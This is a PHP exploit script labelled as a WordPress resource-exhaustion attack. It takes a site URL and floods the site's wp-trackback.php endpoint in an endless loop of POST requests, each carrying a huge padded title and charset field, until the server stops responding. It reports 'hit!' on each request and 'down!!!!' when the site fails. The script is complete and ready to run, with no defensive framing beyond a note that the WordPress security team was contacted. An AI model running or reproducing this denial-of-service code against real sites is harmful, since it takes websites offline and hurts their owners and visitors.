CrowDat

    <?php
    //wordpress Resource exhaustion Exploit
    //http://rooibo.wordpress.com/
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo "You need to specify a url to attack\n";
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) {
    echo "The url should have http:// in front of it, and should be complete.\n";
    exit;
    }

    if(count($data) == 2) {
    $path = "";
    } else {
    $path = $data['path'];
    }
    $path = trim($path,'/');
    $path .= '/wp-trackback.php';
    if($path{0} != '/') {
    $path = '/'.$path;
    }

    $b = "";
    $b = str_pad($b,140000,'ABCEDFG');
    $b = utf8_encode($b);
    $charset = "";
    $charset = str_pad($charset,140000,"UTF-8,");

    $str = 'charset='.urlencode($charset);
    $str .= '&url=www.example.com';
    $str .= '&title='.$b;
    $str .= '&blog_name=lol';
    $str .= '&excerpt=lol';

    $count = 0;
    while(1) {
    $fp = @fsockopen($data['host'],80);
    if(!$fp) {
    if($count > 0) {
    echo "down!!!!\n";
    exit;
    }
    echo "unable to connect to: ".$data['host']."\n";
    exit;
    }

    fputs($fp, "POST $path HTTP/1.1\r\n");
    fputs($fp, "Host: ".$data['host']."\r\n");
    fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
    fputs($fp, "Content-length: ".strlen($str)."\r\n");
    fputs($fp, "Connection: close\r\n\r\n");
    fputs($fp, $str."\r\n\r\n");

    echo "hit!\n";
    $count++;
    }

    ?>